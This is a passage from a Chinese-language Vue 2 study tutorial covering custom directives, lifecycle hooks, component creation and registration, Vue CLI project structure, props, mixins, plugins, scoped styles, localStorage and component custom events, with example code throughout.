image-20220711154900026

总结:

  • 该指令会跳过所在节点的编译过程

  • 可利用该指令跳过:没有使用指令的语法、没有使用插值语法的节点,可以加快编译速度

2.17 自定义指令

2.17.1 函数式定义

实现需求:定义一个 v-big 指令,与 v-text 类似,但是会将绑定的值放大 10 倍

<div id="root">
    <div>当前的 num 值为:<span v-text="num"></span></div>
    <div>放大的 num 值为:<span v-big="num"></span></div>
    <button @click="num++">num 加一</button>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            num: 1
        },
        directives: {
            //element 为当前指令所在的标签(这里就是 <span></span>)
            //binding 为该指令绑定的对象(expression、value...)
            big(element, binding) {
                element.innerText = binding.value * 10
            }
        }
    })
</script>

image-20220711170757586

Q:big 指令何时会被调用?

A:指令与元素成功绑定时、指令所在的模板被重新解析时

2.17.2 对象式定义

实现需求:定义一个 v-fbind 指令,与 v-bind 类似,但是可以让其绑定的 input 元素默认获取焦点

<div id="root">
    <input type="text" v-fbind:value="num">
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            num: 1
        },
        directives: {
            fbind: {
                //指令与元素成功绑定时被调用
                bind(element, binding){
                    element.value = binding.value
                },
                //指令所在的元素成功插入到页面时被调用
                inserted(element, binding){
                    element.focus()
                },
                //指令所在模板重新解析时被调用
                update(element, binding){
                    element.value = binding.value
                }
            }
        }
    })
</script>

image-20220712092935513

2.17.3 自定义指令总结

定义方式

  • 局部指令:new Vue({ directives: {指令名: 配置对象} }) 或者 new Vue({ direcctives: {指令名: 回调函数} })

  • 全局指令:Vue.directive(指令名, 配置对象) 或者 Vue.directive(指令名, 回调函数)

配置对象中常用的三个回调函数

  • bind:指令与元素成功绑定时被调用

  • inserted:指令所在元素被插入页面时被调用

  • update:指令所在模板结构被重新解析时被调用

备注

  • 指令定义时不加 v-,但是使用时要加上上 v-

  • 指令名如果是多个单词时,要使用 kebab-case 命名方式,不要使用 camelCase 命名方式

2.18 Vue 实例的生命周期

2.18.1 生命周期函数

实现需求:页面显示文字,文字刚开始透明度为 1,然后慢慢减少直至消失,然后再恢复为 1,循环往复...

<div id="root">
    <h4 :style="{opacity: num}">Hello Vue</h4>
</div>
<script>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            num: 1
        },
        //生命周期函数中的一种 mounted()
        //vue 完成模板的解析并把初始的(最初的、第一次的)真实 DOM 放入页面的时候(挂载结束),就会调用挂载函数 mounted()
        mounted() {
            setInterval(() => {
                this.num -= 0.01
                if (this.num <= 0)
                    this.num = 1
            }, 16)
        }
    })
</script>

生命周期函数

  • 别名:生命周期函数、生命周期回调函数、生命周期钩子

  • 生命周期函数,就是 Vue 在关键时刻帮我们调用的一些特殊名称的函数总称

  • 生命周期函数的是固定的、不可更改,但是具体内容由程序员指定

  • 生命周期函数中的 this 指向的是 vm 实例或者组件实例对象

2.18.2 挂载流程
<div id="root">
    {{name}}
    <span v-text="showInfo()"></span><br>
    <button @click="name = '叶凡'">更新 Vue 实例</button><br>
</div>
<script>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: '#root',
        data: {
            name: '荒天帝',
        },
        methods: {
            showInfo() {
                return '姓名:' + this.name
            }
        },
        beforeCreate() {
            console.group('1.创建之前:beforeCreate')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        created() {
            console.group('2.创建之后:created')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        beforeMount() {
            console.group('3.挂载之前:beforeMount')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        mounted() {
            console.group('4.挂载之后:mounted')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        beforeUpdate() {
            console.group('5.更新之前:beforeUpdate')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        updated() {
            console.group('6.更新之后:updated')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        beforeDestroy() {
            console.group('7.销毁之前:beforeDestroy')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        },
        destroyed() {
            console.group('8.销毁之后:destroyed')
            console.log("%c%s", "color:blue","el : " + this.$el);
            console.log("%c%s", "color:blue",'data : ' + this.$data);
            console.log("%c%s", "color:#009e96",'name : ' + this.name)
            console.log("%c%s", "color:red",'showInfo() => ' + this.showInfo);
        }
    })
</script>
  1. 页面初始化时,执行 beforeCreate()、created()、beforeMount()、mounted() 四个生命周期函数

image-20220712160302919

  1. 更新元素时,执行 beforeUpdate()、updated() 生命周期函数

image-20220712160317445

  1. 最后销毁 Vue 实例时,执行 beforeDestroy()、destroyed() 生命周期函数,销毁之后,不会再对任何操作 vm 的操作进行响应

image-20220712160329540

Vue 的生命周期 流程如下:

Vue Lifecyle

3 组件化编程

3.1 什么是组件

  • 传统的网页:html、js、css、资源文件混合在一起,纠缠不清,代码复用率低

  • 组件化编程:将大的应用分成一个个小的组件,每个组件均有 html、css、js、资源文件等,复用率高,别的地方要使用,直接引入即可

image-20220712204914298

  • 模块化:当应用中的 js 都以模块来编写,那该应用就是一个模块化应用

  • 组件化:当应用中的功能是由多个组件的方式来进行编写的,那么该应用就是一个组件化的应用

3.2 非单文件组件

非单文件组件:一个组件中包含 n 个组件(在正式的开发中,非单文件组件基本不会使用)

非单文件组件方式中,要使用一个组件,总共分为创建组件、注册组件、使用组件三个步骤

  1. 创建组件
<script>
    //创建 school 组件
    const sch = Vue.extend({
        template: `
            <div>
                <h5>学校:{{name}}</h5>
                <h5>地址:{{address}}</h5>
    		</div>
        `,
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        }
    })
    //创建 student 组件
    const stu = Vue.extend({
        template: `
            <div>
                <h5>姓名:{{name}}</h5>
                <h5>年龄:{{age}}</h5>
    		</div>
        `,
        data() {
            return {
                name: '林枫',
                age: 30
            }
        }
    })
</script>
  1. 注册组件
//局部注册组件
<script>
    new Vue({
        el: '#root',
        components: { //注册组件
            school: sch,
            student: stu
        }
    })
</script>

//全局注册组件
<script>
    const hel = Vue.extend({
        template: `
        	<div>
    			<h5>Hello, {{name}}</h5>
    		</div>
        `,
        data(){
            return {
                name: 'Tom'
            }
        }
    })
    
    Vue.component('hello', hel);
</script>
  1. 使用组件
<div id="root">
    <school></school>
    <hr>
    <student></student>
</div>

image-20220712212717679

总结:

  1. Vue 中使用组件的三大步骤:创建组件、注册组件、使用组件

  2. 如何定义一个组件?

  • 使用 Vue.extend(options) 创建,其中 options 和 new Vue({}) 写法几乎一致,稍有区别:

    • el 配置项不能写(最终所有的组件都要经过一个 vm 管理,由 vm 中的 el 来决定让哪个组件去服务哪个容器)

    • data 必须写成函数形式(避免组件被复用时,数据存在引用关系)

    • 使用 template 配置项可以编写组件结构

  1. 如何注册组件?
  • 局部注册:在 new Vue({ components: {xxx:xxx} }) 进行注册

  • 全局注册:使用 Vue.componennt('组件名', 组件) 进行注册

  1. 如何使用组件?
  • 使用形式为:<组件名></组件名>

3.3 组件注意点

  1. 关于组件命名
  • 一个单词组成

    • 写法一(首字母小写):student

    • 写法二(首字母大写):Student

  • 多个单词组成

    • 写法一(中划线命名):my-student

    • 写法二(全部首字母大写):MySchool(需要 Vue 脚手架支持)

  • 组件名称尽可能回避 html 中已有的与元素名称

  • 可以使用 name 配置项来制定组件在开发中工具中呈现的名字

  1. 关于组件标签
  • 写法一:<student></student>

  • 写法二:<student/> (脚手架支持)

  1. 简写方式
const student = Vue.extend(options)  可简写为  const student = options

3.4 组件的嵌套

<div id="root">
    <school></school>
</div>
<script>
    // student 组件(因为它是 school 的子组件,所以要在 school 之前进行创建)
    const student = Vue.extend({
        template: `
            <div>
                <h4>{{name}}今年{{age}}岁</h4>
            </div>
        `,
        data() {
            return {
                name: '张三',
                age: 18
            }
        }
    })

    //school 组件
    const school = Vue.extend({
        template: `
            <div>
                <h4>{{name}}坐落于{{address}}</h4>
                <student></student>
            </div>
        `,
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        components: {
            student
        }
    })

    new Vue({
        el: '#root',
        components: {
            school
        }
    })
</script>

image-20220713100356918

在一般正式开发中,vm 只去管理一个名为 app 的组件,而 app 组件管理者页面上所有的其他组件(一人之下,万人之上)

现在模拟一下该情况

<div id="root">
    <app></app>
</div>
<script>
    Vue.config.productionTip = false

    // student 组件(因为它是 school 的子组件,所以要在 school 之前进行创建)
    const student = Vue.extend({
        template: `
            <div>
                <h4>{{name}}今年{{age}}岁</h4>
            </div>
        `,
        data() {
            return {
                name: '张三',
                age: 18
            }
        }
    })

    //school 组件
    const school = Vue.extend({
        template: `
            <div>
                <h4>{{name}}坐落于{{address}}</h4>
                <student></student>
            </div>
        `,
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        components: {
            student
        }
    })

    //dog 组件
    const dog = Vue.extend({
        template: `<h4>小狗名叫{{name}}</h4>`,
        data() {
            return {
                name: '旺财'
            }
        }
    })

    //app 组件,管理其他组件
    const app = Vue.extend({
        template: `
            <div>
                <dog></dog>
                <school></school>
            </div>
        `,
        components: {
            school,
            dog
        }
    })

    new Vue({
        el: '#root',
        components: {
            app
        }
    })
</script>

image-20220713101344540

3.5 VueComponent

假设自定义一个名为 student 的组件

  • student 组件的本质,是一个名为 VueComponent 的构造函数,不是程序员定义的,是 Vue.extend 自动生成的

  • 我们只需要写 <student></student>,Vue 解析时会帮我们创建 student 组件的实例对象(执行 new VueComponent(options)

  • 每次调用 Vue.extend,返回的都是一个全新的 VueComponent

    • 类似于 Java 中的对象,我们创建的组件就是 VueComponent 这个对象的实例化

    • 功能完全一样,但不是同一个

  • 关于 this 指向

    • 在组件配置中,data函数、methods中的函数、watch中的函数、computed 中的函数,他们的 this 指向均是 VueComponent 实例对象

    • 在 new Vue() 配置中,data函数、methods中的函数、watch中的函数、computed 中的函数,他们的 this 指向均是 Vue 实例对象

  • Vue 实例对象,简称 vm,VueComponent 实例对象,简称 vc

3.6 内置关系

  • 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype

  • 该内置关系可以让 vc 访问到 Vue 原型上的属性、方法

image-20220713140640811

<script>
    const student = Vue.extend()
    new Vue({})
    console.log(student.prototype.__proto__ === Vue.prototype)
</script>

image-20220713110504004

3.7 单文件组件

3.7.1 一个组件的定义

非单文件组件:一个组件中只包含 1 个组件(正式开发时,几乎都是使用的单文件组件的写法)

根据组件的定义,一个组件应该由结构文件、样式文件、行为文件组成,与之对应的,单文件组件中,组件就是根据这个思想定义的

<template>
    <div id="root" class="my-style">
        <h4>{{name}}的年龄是{{age}}岁</h4>
    </div>
</template>

<script>
    export default {
        name: 'Student',
        data(){
            return {
                name: '荒天帝',
                age: 18
            }
        }
    }
</script>

<style>
    .my-style {
        color: red;
    }
</style>

3.7.2 开发时的结构

在正式开发时,一般会有以下几个结构:

  • main.js:创建 vm 实例

  • index.html:应用的主页面

  • App.vue:一个总的 Vue 组件,用来管理其他的组件,只由 vm 管理

  • xxx.vue:其他的各个组件

下面实现一个 Vue 项目的基本结构

  1. Student.vue(自定义组件)
<template>
    <div class="my-style">
        <h4>{{name}}的年龄是{{age}}岁</h4>
    </div>
</template>

<script>
    export default {
        name: 'Student',
        data() {
            return {
                name: '荒天帝',
                age: 18,
                address: '荒域'
            }
        }
    }
</script>

<style>
    .my-style {
        color: red;
    }
</style>
  1. School.vue(自定义组件)
<template>
    <div>
        <h4>{{name}}位于{{address}}</h4>
    </div>
</template>

<script>
    export default {
        name: 'School',
        data(){
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        }
    }
</script>
  1. App.vue(总的组件管理)
<template>
	<div>
    	<Student></Student>
    	<School></School>
    </div>
</template>

<script>
    import Student from "./Student";
    import School from "./School";

    export default {
        name: 'App',
        components: {
            Student,
            School
        }
    }
</script>
  1. main.js(创建 vm 实例)
import App from "./App";

new Vue({
    el: '#root',
    components: {
        App
    }
})
  1. index.html(应用首页)
<!doctype html>
<html lang="en">
    <head>
        <meta charset="UTF-8">>
        <meta http-equiv="X-UA-Compatible" content="ie=edge">
        <title>Vue项目结构测试</title>
    </head>

    <body>
        <div id="root">
            <App></App>
        </div>
        <script src="../js/vue.js"></script>
        <script src="main.js"></script>
    </body>
</html>

4 Vue 脚手架

4.1 使用脚手架

Vue 官网标准的脚手架名为 [Vue CLI](Home | Vue CLI (vuejs.org)),使用脚手架创建最基本的项目步骤如下

  1. 使用命令 npm install -g @vue/cli ,全局安装 Vue 脚手架,安装完成之后,执行命令 vue,出现如下界面,表示安装成功

image-20220713160958664

  1. 创建一个项目的目录 mkdir myTest

  2. 进入项目根本路径 cd myTest

  3. 假设项目名为 test,使用命令 vue create test,出现如下界面,需要选择项目的相关配置

image-20220713161346486

  1. 接下来要选择 Vue 的版本,这里选择 Vue2,回车,等待项目创建成功,出现如下界面,表示创建成功

image-20220713161920210

  1. 然后使用 cd test 进入项目根目录,使用 npm run server 运行项目(我安装了 yarn,所以这里使用 yarn 启动项目 yarn serve),等待项目编译完成,出现如下界面,表示项目启动成功

image-20220713162435806

  1. 浏览器访问项目的默认路径 http://localhost:8080,出现如下界面,表示使用脚手架创建项目成功!

image-20220713162554685

4.2 分析项目结构

4.2.1 目录结构分析

上一步骤使用 Vue 脚手架创建了一个项目,现在来分析一下默认项目的文件结构(结构如下,因为我安装了 yarn,所以可能文件会与 npm 稍有差别)

image-20220713163031078

.git				//git仓库的配置文件
node_modules		//项目所需要的所有模块集合
public				//公共的资源
|___ favicon.ico
|___ index.html		//应用首页
src					//项目的主代码
|___ assets			//静态资源文件
	 |___ logo.png
|___ components		//项目的所有组件
	 |___ HelloWorld.vue
|___ App.vue		//管理项目的所有组件
|___ main.js		//整个项目的入口文件
.gitignore			//git 仓库的忽略文件
babel.config.js		//babel 的配置文件
jsconfig.json		//指定了 JavaScript 语言服务提供的功能的根文件和选项
package.json		//项目所需要的所有模块的版本号信息
README.md			//项目介绍文件
vue.config.js		//Vue 的配置文件
yarn.lock			//锁定项目所使用的的所有模块的版本号,与 package-lock.json 作用一致
4.2.2 文件分析
  1. main.js(整个项目的入口文件)
//引入 Vue 依赖
import Vue from 'vue'
//导入项目的所有组件(所有组件均由 App 组件管理)
import App from './App.vue'

//关闭生产提示
Vue.config.productionTip = false

//创建 Vue 实例
new Vue({
  //这行代码现在不解释,具体原理后续解释,功能就是将 App 放入容器中
  render: h => h(App),
}).$mount('#app')	
// .mount('#app') 就是设置实例服务的容器,与 new Vue({ el: '#root' }) 作用一致
  1. App.vue
<template>
  <div id="app">
    <img alt="Vue logo" src="./assets/logo.png">
    <HelloWorld msg="Welcome to Your Vue.js App"/>
  </div>
</template>

<script> 
    //引入了一个 HelloWorld 组件,该组件位于 ./components 文件夹下
    //该文件夹下存放的都是项目的所有组件,统一由 App.vue 管理
import HelloWorld from './components/HelloWorld.vue'

export default {
  name: 'App',
  components: {
    HelloWorld
  }
}
</script>

<style>
/* 全是 css 样式,不重要*/
</style>

  1. index.html
<!DOCTYPE html>
<html lang="">
<head>
    <!--网页编码格式-->
	<meta charset="utf-8">
    <!--适配 IE -->
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
    <!--移动端开启理想视口-->
	<meta name="viewport" content="width=device-width,initial-scale=1.0">
    <!--配置页签图标-->
	<link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <!--去 package.json 中寻找 name,作为页面标题-->
	<title><%= htmlWebpackPlugin.options.title %></title>
</head>

<body>
    <!--当浏览器不支持 Js 时,noscript 中的内容就会被渲染到页面上-->
	<noscript>
		<strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without 
            JavaScript enabled.Please enable it to continue.</strong>
	</noscript>
 	<!--将 App 组件放入页面中-->
	<div id="app"></div>
</body>
</html>
4.2.3 render 函数

在 main.js 中,我们有一行代码以前没见过 render: h => h(App),这是什么意思?这个与我们引入的 vue 版本有关

当我们将 render 注释掉,和以前一样在 main.js 中尝试使用 template 时,会神奇的发现报错了

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
  //render: h => h(App),
  template: `<h1>你好</h1>`
}).$mount('#app')

image-20220714205925571

报错的意思就是:我们使用的是运行时的 Vue,是不完整的,缺少模板解析器,所以才会报错,要么使用完整的 Vue,要么使用 render 函数

不完整的 Vue?什么情况?

在 main.js 中点击进入我们导入的 vue 文件,神奇的发现,默认导入的 vue 版本居然是 vue.runtime.esm.js

Q : 为什么 Vue 团队会默认导入精简版的 Vue?

A : 其实是因为,Vue 中包括两大核心部分(Vue核心 + 模板解析器)

当一个 Vue 项目发布打包的时候,webpack 已经帮我们将 Vue 文件转换为了 html、> css、js 等浏览器可以识别的文件了

如果使用完整版的 Vue.js,就会造成发布的项目中仍然包含模板解析器的内容,但是模板解析器完全已经无用了,所以 Vue 团队默认导入了精简版的 Vue

要使用 template 配置项时,只需要调用 render 函数来进行模板解析就行了

4.3 项目默认配置

我们创建一个 Vue 项目后,它的初始结构是固定的(main.js 为入口文件、index.html 为主页面等等),他一定有配置文件进行了这些默认的配置,那么到底配置了什么?

在项目中使用命令 vue inspect > output.js,就会输入所有的默认配置给用户看,里面写的都是 Vue 默认帮我们做的配置

image-20220714212820281

那么怎么修改这些默认配置?

Vue 团队帮我们提供了修改的方法,项目根目录建立 vue.config.js,里面可以修改默认的一些配置,具体的配置项可以到 配置参考 | Vue CLI (vuejs.org) 中查询

4.4 ref 属性

<template>
    <div id="app">
        <h4 ref="title">标题</h4>
        <MySchool ref="sch"></MySchool>
        <button ref="btn" @click="showInfo">展示信息</button>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";

    export default {
        name: 'App',
        components: {MySchool},
        methods: {
            showInfo() {
                console.log('DOM元素 ==> ' + this.$refs.title)
                console.log('按钮 ==> ' + this.$refs.btn)
                console.log('组件对象 ==> ' + this.$refs.sch)
            }
        }
    }
</script>

image-20220715092140596

总结:

  • ref 属性用来给元素或者组件注册引用信息,是 id 的替代者

  • 应用在 html 标签上获取的是真实的 DOM 元素,应用在组件上是组件实例对象(vc)

  • 获取方式:this.$refs.xxx

4.5 props 属性

在实际开发中,许多时候数据并不能写死,需要从外部传进来,这个时候就需要使用 props 属性来实现了

方式一:简单接收

<template>
    <div>
        <h4>{{msg}}</h4>
        <h5>学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
        <h5>学院存在时间:{{liveTime}}</h5>
    </div>
</template>

<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                msg: '学院信息'
            }
        },
        props: ['name', 'address', 'liveTime']
    }
</script>
<template>
    <div id="app">
        <!--这里的 live-time 若为字母串,意味着后续不需要修改;否则要使用 v-bind 进行绑定--->
        <MySchool name="春秋学院" address="八荒九幽" live-time="80"></MySchool>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";

    export default {
        name: 'App',
        components: {MySchool}
    }
</script>

image-20220715110138101

方式二:限制类型

<template>
    <div>
        <h4>{{msg}}</h4>
        <h5>学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
        <h5>学院存在时间:{{liveTime}}</h5>
    </div>
</template>

<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                msg: '学院信息'
            }
        },
        props: {
            name: String,
            address: String,
            liveTime: Number
        }
</script>
<template>
    <div id="app">
        <!--这里需要使用 v-bind 接收 live-time 的值,如果不然,接受的值是 String 类型,类型限制必须为 Number-->
        <MySchool name="春秋学院" address="八荒九幽" :live-time="50"></MySchool>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";

    export default {
        name: 'App',
        components: {MySchool}
    }
</script>

image-20220715105911714

方式三:限制类型、必要性、默认值

<template>
    <div>
        <h4>{{msg}}</h4>
        <h5>学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
        <h5>学院存在时间:{{liveTime}}</h5>
    </div>
</template>

<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                msg: '学院信息'
            }
        },
        props: {
            name: {
                type: String,
                required: true
            },
            address: {
                type: String,
                required: true      //必要性
            },
            liveTime: {
                type: Number,   	//参数类型
                default: 100    	//默认值
            }
        }
    }
</script>
<template>
    <div id="app">
        <!--这里不传入 live-time,因为已经指定该属性的,默认值为 100-->
        <MySchool name="春秋学院" address="八荒九幽"></MySchool>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";

    export default {
        name: 'App',
        components: {MySchool}
    }
</script>

image-20220715105341857

总结:

  • 功能:让组件接受外部传过来的数据

  • 传递数据:<Demo name="xxx">

  • 接收数据:

    • 方式一(只接收)
    props: ['name']
    
    • 方式二(限制类型)
    props: {
        name: String, 
        age: Number
    }
    
    • 方式三(限制类型、必要性、默认值)
    props: {
        name: {
            type: String, 
            required: true, 
            default: '荒天帝'
        } 
    }
    
  • props 是只读的,Vue 底层会监测用户对于 props 属性的修改,如果进行了修改,就会触发警告

  • 如果非要修改,可以将 props 中的内容复制到 data 中,然后再去修改 data 中的内容

4.6 mixin 混入

在开发中,有的时候可能多个组件中,有一些属性配置是完全相同的,那么这个时候就可以将这些相同的配置提取出来,然后在组件中使用混入引入

<template>
	<!-- MySchool 组件-->
    <div>
        <h5 @click="showName">学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
    </div>
</template>

<script>

    import mixin from "@/mixin";

    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        mixins: [mixin]
    }
</script>
<template>
	<!-- MyStudent 组件-->
    <div>
        <h4 @click="showName">学生姓名:{{name}}</h4>
        <h4>学生年龄:{{age}}</h4>
    </div>
</template>

<script>

    import mixin from "@/mixin";

    export default {
        name: "MyStudent",
        data() {
            return {
                name: '林枫',
                age: 19
            }
        },
        mixins: [mixin]
    }
</script>

//mixin.js 混入文件
export default {
    name: 'mixin',
    methods: {
        showName(){
            console.log(this.name)
        }
    }
}
<template>
	<!--App.vue-->
    <div id="app">
        <MySchool></MySchool>
        <hr>
        <MyStudent></MyStudent>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";
    import MyStudent from "@/components/MyStudent";

    export default {
        name: 'App',
        components: {MyStudent, MySchool}
    }
</script>

image-20220715113201973

总结:

  • 混入的功能:将多个组件公用的配置提取成一个混入对象

  • 定义方式:

    {
        data(): {....},
    	methods: {....}
    }
    
  • 使用方式:

    //全局混入
    Vue.mixin(xxx)
    
    //局部混入
    mixins: ['xxx', 'yyy', ....]
    

如果混入中的配置与组件发生同名的情况,会发生什么?

  • 如果是 data、computed、methods 等出现同名,会使用组件中定义的,而非混入的

  • 如果是 mounted()、update() 等生命同周期钩子重复配置,两个都会生效

4.7 定义插件

//插件
export default {
    name: 'plugins',
    install(Vue){
        //全局过滤器
        Vue.filter('MySlice', function (value) {
            return value.slice(0, 3);
        })
    }
}

使用插件:

<template>
<div>
    <h5 @click="showName">学院名称:{{name | mySlice}}</h5>
    <h5>学院地址:{{address | mySlice}}</h5>
    </div>
</template>

<script>
    import mixin from "@/mixin";

    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        },
        mixins: [mixin]
    }
</script>

image-20220715144004503

总结:

  • 功能:用于增强 Vue

  • 本质:是包含 install 方法的一个对象,install 的第一个参数是 Vue,其余参数是插件使用者传递的数据

  • 插件使用之后全局都可以使用,可以定义全局过滤器、全局指令、全局混入等

  • 使用插件:Vue.use(xxx)

4.8 scoped 样式

我们在开发时,要为每一个组件写样式,但是当项目编译之后,他会将所有的样式文件全部放在一起,这样就很容易导致一个事情:样式命名冲突

要解决该问题,需要在创建组件时,为组件的 style 标签添加上 scoped 修饰词,这样可以避免出现样式同名冲突的问题

我们在组件 MyStudnet 和 MySchool 中都添加一个 demo 的样式,使用 scoped 关键字发现并不冲突

<template>
    <div>
        <h4>学生姓名:{{name}}</h4>
        <h4 class="demo">学生年龄:{{age}}</h4>
    </div>
</template>

<script>
    export default {
        name: "MyStudent",
        data() {
            return {
                name: '林枫',
                age: 19
            }
        }
    }
</script>

<style scoped>
    .demo{
        background: blue;
    }
</style>
<template>
    <div>
        <h5>学院名称:{{name}}</h5>
        <h5 class="demo">学院地址:{{address}}</h5>
    </div>
</template>

<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
                address: '圣城中州'
            }
        }
    }
</script>

<style scoped>
    .demo {
        background: skyblue;
    }
</style>

image-20220715145740549

原理是什么?我们打开元素检查,发现他为每个组件的样式都添加了一个随机的校验码进行了区分

image-20220715150211051

4.9 组件化编码

  1. 组件化编码流程
  • 拆分静态组件:组件要按照功能点进行拆分,命名不要与 html 元素冲突

  • 实现动态组件:考虑好数据存放位置,数据是一个组件在用,还是多个组件在用

    • 一个组件在用:放在组件自身即可

    • 多个组件在用:放在共同的父组件上(状态提升

  • 实现交互:从绑定事件开始

  1. props 适用于
  • 父组件 ——> 子组件 进行通信

  • 子组件 ——> 父组件 进行通信(要求父组件先给子组件一个函数)

  1. 使用 v-model 时要切记:v-model 绑定的值不能是 props 传递过来的值,因为 props 是不可以被修改的!

  2. props 传过来的若是对象类型的值,修改对象中的属性时 Vue 不会报错,但是不推荐这样做

4.10 WebStorage

<button @click="addLocal()">增加数据</button>
<button @click="getLocal()">获取数据</button>
<button @click="removeLocal()">删除数据</button>
<button @click="clearLocal()">清空数据</button>

<script type="text/javascript">
    function addLocal() {
        const person = {
            name: '张三',
            age: 18
        }
        localStorage.setItem('msg', 'hello');
        localStorage.setItem('person', JSON.stringify(person));
    }

    function getLocal() {
        console.log('msg => ' + localStorage.getItem('msg'));
        console.log('person => ' + JSON.parse(localStorage.getItem('person')));
    }

    function removeLocal() {
        localStorage.removeItem('msg');
    }

    function clearLocal() {
        localStorage.clear();
    }
</script>

总结:

  1. 存储内容的大小一般为 5M 左右,不停浏览器可能不一样

  2. 浏览器端通过 Window.sessionStroage 和 Window.localStorage 属性来实现本地的存储机制

  3. 相关的 API

  • xxxStorage.setItem('key', 'value') :该方法接受一个键值对,如果 key 存在,则更新对应的 value

  • xxxStorage.getItem('key') :该方法接收一个 key 作为参数,返回对应的 value,若不存在 key,则返回 null

  • xxxStorage.removeItem('key'):该方法接受一个 key 作为参数,删除对应的键值对

  • xxxStorage.clear():该方法会清空所有的存储数据

  1. SessionStorage 存储的内容会随着浏览器窗口的关闭而消失

  2. localStorage 存储的内容需要手动清除才会消失

4.11 组件自定义事件

实现如下需求:

一个父组件 App,有两个子组件 Studen、School,两个子组件上均有一个按钮,点击该按钮会将子组件中的 name 属性传递给父组件 App

4.11.1 绑定事件

使用传递 props 实现

  1. 父组件 App
<template>
    <div id="app">
        <h3>{{msg}}</h3>
        <MyStudent :getStudentName="getStudentName"></MyStudent>
        <MySchool></MySchool>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";
    import MyStudent from "@/components/MyStudent";

    export default {
        name: 'App',
        data(){
          return {
              msg: '你好!'
          }
        },
        components: {MyStudent, MySchool},
        methods: {
            getStudentName(name){
                console.log('我是父组件 App,收到了子组件 Student 的数据 name : ' + name);
            }
        }
    }
</script>

<style scoped>
    #app {
        background: gray;
        padding: 5px;
    }
</style>
  1. 子组件 Student
<template>
    <div class="student">
        <h4>学生姓名:{{name}}</h4>
        <h4>学生年龄:{{age}}</h4>
        <button @click="sendStudentName">传递属性:props方式</button>
    </div>
</template>

<script>
    export default {
        name: "MyStudent",
        data() {
            return {
                name: '林枫',
                age: 19
            }
        },
        props: ['getStudentName'],
        methods: {
            sendStudentName(){
                this.getStudentName(this.name);
            }
        }
    }
</script>

<style scoped>
    .student{
        background: blue;
        padding: 5px;
    }
</style>

image-20220717150530643

使用组件自定义事件实现

  1. App 父组件
<template>
    <div id="app">
        <h3>{{msg}}</h3>
        <MyStudent :getStudentName="getStudentName"></MyStudent>
        <MySchool v-on:mydiy="getSchoolName"></MySchool>
    </div>
</template>

<script>
    import MySchool from "@/components/MySchool";
    import MyStudent from "@/components/MyStudent";

    export default {
        name: 'App',
        data(){
          return {
              msg: '你好!'
          }
        },
        components: {MyStudent, MySchool},
        methods: {
            getStudentName(name){
                console.log('我是父组件 App,收到了子组件 Student 的数据 name : ' + name);
            },
            getSchoolName(name){
                console.log('我是父组件 App,收到了子组件 School 的数据 name : ' + name)
            }
        }
    }
</script>

<style scoped>
    #app {
        background: gray;
        padding: 5px;
    }
</style>
  1. School 子组件
<template>
    <div class="school">
        <h5>学院名称:{{name}}</h5>
        <h5>学院地址:{{address}}</h5>
        <button @click="sendSchoolName">传递属性:自定义事件方式</button>
    </div>
</template>

<script>
    export default {
        name: 'MySchool',
        data() {
            return {
                name: '战王学院',
